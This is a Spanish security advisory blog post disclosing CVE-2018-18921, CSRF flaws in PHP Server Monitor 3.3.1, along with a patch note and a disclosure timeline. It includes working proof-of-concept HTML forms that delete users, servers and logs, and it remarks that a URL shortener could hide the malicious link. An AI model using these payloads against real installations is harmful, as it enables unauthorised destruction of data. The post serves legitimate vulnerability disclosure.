Las vulnerabilidades Cross-Site Request Forgery (CSRF) encontradas en el software PHP Server Monitor 3.3.1 han quedado solucionadas. Estas, permitían a un usuario malintencionado borrar servidores, logs y usuarios de la aplicación a través de este ataque. La vulnerabilidad, ha sido asociada al CVE-2018-18921.

 

CVE-2018-18921

PHP Server Monitor 3.3.1- Cross-Site Request Forgery (CSRF)

PHP Server Monitor es una aplicación web orientada a monitorizar la disponibilidad de servidores PHP, comprueba si están correctamente funcionando, monitoriza los servicios, genera gráficos e historial de actividad además de almacenar logs de errores y permitir notificaciones a través de email y Telegram, está desarrollada en PHP y MySQL.

📅 Vulnerabilidad descubierta por Javier Olmedo el 30/10/2018

💣 Publicada el 23/11/2018

🐛 CVE-2018-18921

🔗 Link del software PHP Server Monitor 3.3.1

🐞 Versión vulnerable = 3.3.1 y posiblemente anteriores

✔️ Actualiza a la versión 3.3.2 para parchear

 

Vector de ataque / Criticidad de la explotación

CRITICIDAD – ALTA

A través de las vulnerabilidades Cross-Site Request Forgery (CSRF), un atacante podría aprovecharse de la confianza que tiene la aplicación sobre los usuarios legítimos para crear un enlace o formulario malicioso que será ejecutado a través de estos.

 

Parámetros / Recursos vulnerables

Durante la auditoria, se observó que el botón encargado de borrar los usuarios, servidores y logs, se realizaba por petición GET y carecía de token anti-csrf.

Esto, permitiría a un atacante crear un enlace malicioso modificando los valores de los parámetros mod, action e id para realizar acciones de eliminación de objetos sobre la aplicación.

 

Prueba de concepto (PoC)

En las siguientes pruebas de concepto, se ha dividido la pantalla en dos partes, en la parte izquierda se encontraría un usuario en el panel de administración mientras que en la parte derecha, un atacante genera un botón malicioso previamente configurado para realizar las acciones.

NOTA

Se han utilizado formularios para la explotación de la vulnerabilidad, pero en un escenario real, a un atacante le bastaría con generar el enlace y acortar la URL (Google URL Shortener) para ofuscar la acción e intentar explotar la vulnerabilidad con éxito, ya que las peticiones se realizan por GET.

 

Eliminación de usuarios

URL: http://localhost/?&mod=user&action=delete&id=[ID]

<html>
 <body>
 <script>history.pushState('', '', '/')</script>
  <form action="http://localhost/">
   <input type="hidden" name="mod" value="user" />
   <input type="hidden" name="action" value="delete" />
   <input type="hidden" name="id" value="[ID]" />
   <input type="submit" value="Delete User" />
  </form>
 </body>
</html>

 

Eliminación de servidores

URL: http://localhost/?&mod=server&action=delete&id=[ID]

<html>
 <body>
 <script>history.pushState('', '', '/')</script>
  <form action="http://localhost/">
   <input type="hidden" name="mod" value="server" />
   <input type="hidden" name="action" value="delete" />
   <input type="hidden" name="id" value="[ID]" />
   <input type="submit" value="Delete Server" />
  </form>
 </body>
</html>

 

Eliminación de todos los logs

URL: http://localhost/?&mod=&action=delete

<html>
 <body>
 <script>history.pushState('', '', '/')</script>
  <form action="http://localhost/">
   <input type="hidden" name="mod" value="server&#95;log" />
   <input type="hidden" name="action" value="delete" />
   <input type="submit" value="Delete All Logs" />
  </form>
 </body>
</html>

 

Timeline

30/10/2018 Descubrimiento de la vulnerabilidad

30/10/2018 Creo issue en GitHub

30/10/2018 El desarrollador marca la vulnerabiliad como pendiente de parcheo

01/11/2018 Solicito CVE

03/11/2018 Asignación de CVE-2018-18921 por MITRE

22/11/2018 Vulnerabilidad parcheada

28/11/2018 Publicación de la vulnerabilidad

 

Referencias

CVE-MITRE – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18921

SIDERTIA – https://www.sidertia.com/Home/Community/Blog/2018/11/28/Corregidas-las-vulnerabilidades-CSRF-descubiertas-en-PHP-Server-Monitor

EXPLOIT-DB – https://www.exploit-db.com/exploits/45932

 

Un saludo a todos!! 👋


Javier Olmedo

Consultor de Ciberseguridad e Investigador de Seguridad de Aplicaciones Web en mi tiempo libre, Técnico en Sistemas Informáticos y Técnico Superior en Desarrollo de Software, apasionado de la [In]Seguridad Informática.

Deja tu comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.